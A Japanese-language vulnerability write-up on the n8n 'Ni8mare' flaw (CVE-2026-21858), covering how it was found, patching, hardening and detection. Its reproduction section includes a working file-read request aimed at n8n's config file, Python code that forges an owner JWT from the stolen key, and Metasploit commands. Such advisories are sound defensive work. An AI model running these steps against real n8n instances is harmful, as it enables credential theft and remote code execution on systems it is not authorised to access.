n8n の未認証 RCE(Ni8mare):CVE-2026-21858
フォームノードが Content-Type の検証を飛ばすため、application/json のリクエスト一つで任意のファイルを読ませられます。設定内の鍵から管理者 JWT を偽造し、サンドボックス回避と組み合わせて RCE に至ります。
概要
| 項目 | 内容 |
|---|---|
| CVE | CVE-2026-21858 |
| CVSS | 10.0(Critical) |
| CWE | CWE-20 不適切な入力検証 |
| 影響版 | 1.65.0 〜 1.120.x |
| 修正版 | 1.121.0(1.121.3 を推奨) |
| 公開日 | 2026-01-07 |
| 実悪用 | Metasploit モジュール + 複数の PoC |
n8n は最も広く使われるオープンソースのワークフロー自動化プラットフォームの一つです。2026 年 1 月 7 日、Cyera の研究者がこの満点の脆弱性を公開し、コミュニティは Ni8mare と名付けました。
資産調査では約 16 万 6 千の n8n 関連資産がインターネットに露出しています。出発点は任意ファイル読み出しにすぎませんが、別のサンドボックス回避と組み合わさって完全な遠隔コード実行になります。
発見の経緯
Cyera のチームはフォームノードと Webhook の処理を監査しました。問題は一見ありふれた順序の誤りです。ファイルアップロードを処理する際、フォームノードが Content-Type ヘッダーを検証していません。
正しい実装はファイル処理へ入る前にリクエストが multipart/form-data であることを確認しますが、n8n はファイル処理関数を呼ぶ前にその段階を飛ばします。したがって攻撃者は Content-Type: application/json を送り、JSON 本文の中で files オブジェクトを自ら構築できます。各項目は filepath を直接指定します。フォームノードは要求者が示したパスをそのまま読み出します。
増幅器は二つ目の脆弱性です。このファイル読み出しはサンドボックス回避 CVE-2025-68613 と連鎖し、完全な RCE 経路を形成します。中程度の欠陥と中程度の欠陥が重なり、満点に到達します。
再現
以下はすべて、許可されたセキュリティテストに限ります。
Docker で影響版を起動し、管理画面で Form Trigger ノードを含むワークフローを作成します。要点は Extract from File ステップの On Error を Continue にし、ワークフローを Active にすることです。
第一段階:Content-Type の混同で任意ファイルを読む。 本文は通常の JSON で、ファイル名とパスは攻撃者が指定します。
POST /form/<form-id>
Content-Type: application/json
{ "files": { "file1": { "filepath": "/home/node/.n8n/config" } } }
応答にファイルの内容が含まれます。公開フォーム端点はそもそも到達可能であるため、認証は不要です。
第二段階:鍵を読み、管理者 JWT を偽造する。 設定ファイルにはセッショントークンの署名に使う FINAL_SECRET_KEY と N8N_ENCRYPTION_KEY があります。鍵があれば owner 権限のトークンをオフラインで署名できます。
token = jwt.encode(
{"id": "1", "email": "admin@n8n.local", "role": "owner",
"iat": now, "exp": now + 86400},
secret_key, algorithm="HS256")
第三段階:サンドボックス回避で実行に到達する。 偽造トークンで REST API を呼び、child_process を使うコードを含む Function ノードのワークフローを作成します。そのコードが実際に動くのはサンドボックス回避 CVE-2025-68613 のおかげです。
ファイル読み出しだけを確認するなら、既存の Metasploit 補助モジュールで足ります。
msf > use auxiliary/gather/ni8mare_cve_2026_21858
msf auxiliary(...) > set TARGETURI /form/<form-id>
msf auxiliary(...) > set FILEPATH /home/node/.n8n/config
msf auxiliary(...) > run
修正
1.121.0 以降へ更新し、1.121.3 を選ぶのが望ましいです。
npm install n8n@1.121.0
docker pull n8nio/n8n:1.121.0
設定だけでもリスクは大きく下がります。公開されている Webhook とフォーム端点を制限または無効化し、n8n を VPN、プライベート入口、厳格な IP 許可リストの背後に置きます。公開 Webhook が本当に必要な場合は、レート制限とリクエスト検証を行うリバースプロキシを前に置き、到達可能な端点を必要な数に絞ります。NODES_EXCLUDE 環境変数で危険なフォームノードを除外する方法もあります。
検知では n8n の実行ログを確認し、異常なフォーム送信、想定外のファイル読み出し、不審なワークフロー実行を探します。侵害が確認できたら、n8n 経由で連携していた第三者サービスの資格情報をすべて速やかに交換します。自動化プラットフォームはこうした資格情報を大量に抱えているためです。
判断
Ni8mare の核心は入力検証の欠如です。フォームノードがアップロード処理で Content-Type の基本検査を飛ばし、その小さな見落としが条件次第で完全な RCE 経路に増幅されました。
その脅威モデルは別に記録する価値があります。単独では CVE-2026-21858 は任意ファイル読み出しにすぎませんが、CVE-2025-68613 と組み合わせると、ファイル読み出し、資格情報の窃取、権限昇格、RCE という完全な連鎖になります。しかも開始には HTTP リクエスト一つで足ります。

コメント
…